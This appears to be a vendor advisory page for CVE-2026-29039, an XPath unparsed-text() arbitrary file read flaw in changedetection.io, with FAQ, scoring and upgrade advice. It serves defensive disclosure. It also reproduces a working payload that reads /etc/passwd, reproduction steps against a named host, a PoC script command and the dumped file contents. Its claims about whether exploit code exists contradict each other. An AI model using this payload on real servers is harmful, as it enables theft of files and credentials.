How severe is CVE-2026-29039?

No CVSS score has been assigned to CVE-2026-29039 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2026-29039?

CVE-2026-29039 affects the following packages: changedetection-io (PyPI). Ecosystems affected: PyPI.

How do I fix CVE-2026-29039?

Update changedetection-io to 0.54.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-29039 is resolved across your whole dependency graph.

How do I detect CVE-2026-29039 in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for changedetection-io, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-29039 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against CVE-2026-29039?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-29039 can be triaged on real exposure rather than presence alone.

Is CVE-2026-29039 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-29039 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-29039?

CVE-2026-29039 has an EPSS (Exploit Prediction Scoring System) score of 0.5%, placing it in the 41th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-29039?

CVE-2026-29039 is classified as Code Injection (CWE-94). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was CVE-2026-29039 published, and has it been updated?

CVE-2026-29039 was published on March 6, 2026 and was last updated on August 12, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍 PyPI

Not in CISA KEV

CVE-2026-29039 — changedetection-io

Fix: dgtlmoon/changedetection.io@417d57e

CVE-2026-29039 is a Code Injection vulnerability in changedetection-io. A fix is available for changedetection-io — see the affected versions and patch details below.

changedetection.io: XPath - Arbitrary File Read via unparsed-text()

Also known asGHSA-6fmw-82m7-jq6pPYSEC-2026-2128

Published

Mar 6, 2026

Updated

Aug 12, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-29039.

EPSS Exploitation Probability

via FIRST.org ↗

0.5%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs41th percentile — riskier than 41% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

🐍changedetection-io

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification.
XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process.

Data Flow

User Input (include_filters field)
    ↓
forms.py:ValidateCSSJSONXPATHInput() - Only validates syntax, NOT function safety
    ↓
Watch configuration stored in datastore
    ↓
Scheduled fetch triggers html_tools.py processing
    ↓
html_tools.py:xpath_filter() at line 213
    ↓
elementpath.select(root, xpath_expression, parser=XPath3Parser)
    ↓
XPath 3.0 unparsed-text('file:///etc/passwd') executed
    ↓
File contents returned as "filtered content"
    ↓
Stored as snapshot, viewable in UI

Affected Code File: changedetectionio/html_tools.py Function: xpath_filter() Lines: 187-220

def xpath_filter(xpath_filter, html_content, append_pretty_line_formatting=False, is_rss=False):
    # ...
    from elementpath import XPath3Parser  # XPath 3.0 with dangerous functions
    # ...
    r = elementpath.select(root, xpath_filter.strip(), parser=XPath3Parser)  # Line 213

Validation (forms.py):

class ValidateCSSJSONXPATHInput:
    def __call__(self, form, field):
        # Only checks if XPath is syntactically valid
        # Does NOT check for dangerous functions like unparsed-text()

Details

Navigate to the http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000/ instance
Create a new watch with any valid URL (e.g., https://example.com)
Edit the watch and set the "CSS/JSONPath/JQ/XPath Filters" field to:

xpath:unparsed-text('file:///etc/passwd')

Save and trigger a recheck
View the preview/snapshot - the file contents will be displayed

PoC

python script for easy reproduction: https://gist.githubusercontent.com/DhiyaneshGeek/27a6239f34023d43a0b89afb05edc5d2/raw/76d2b1f035164298d57699741eb79a8376f4ed47/poc_xpath_file_read.py

python3 poc_xpath_file_read.py http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000 /etc/passwd

╔═══════════════════════════════════════════════════════════════╗
║  XPath 3.0 Arbitrary File Read Exploit                        ║
║  Target: changedetection.io                                   ║
║  Vulnerability: unparsed-text() in XPath filters              ║
╚═══════════════════════════════════════════════════════════════╝
    
[*] Creating new watch for https://example.com...
[+] Watch created with UUID: 5215b704-809c-4218-952b-aad9b6ee41e1
[*] Setting XPath filter to read: /etc/passwd
[+] XPath filter set successfully
[*] Triggering recheck...
[*] Waiting for check to complete...
[*] Retrieving file contents...

[+] SUCCESS! File contents retrieved:
============================================================
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

============================================================
[*] Cleaning up (deleting watch)...

Impact

Read any file accessible to the application process
Exfiltrate sensitive configuration files, credentials, API keys
Read application source code
Access database files if file-based (SQLite)

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`changedetection-io`	all versions	0.54.4`pip install --upgrade 'changedetection-io==0.54.4'`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for changedetection-io, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update changedetection-io to 0.54.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-29039 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-29039 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-29039. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary - The changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification. - XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process. ### Data Flow ``` User Input (include_filters field) ↓ forms.py:

O3 Security · Impact-Aware SCA

Is CVE-2026-29039 in your dependencies?

O3 Security finds CVE-2026-29039 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

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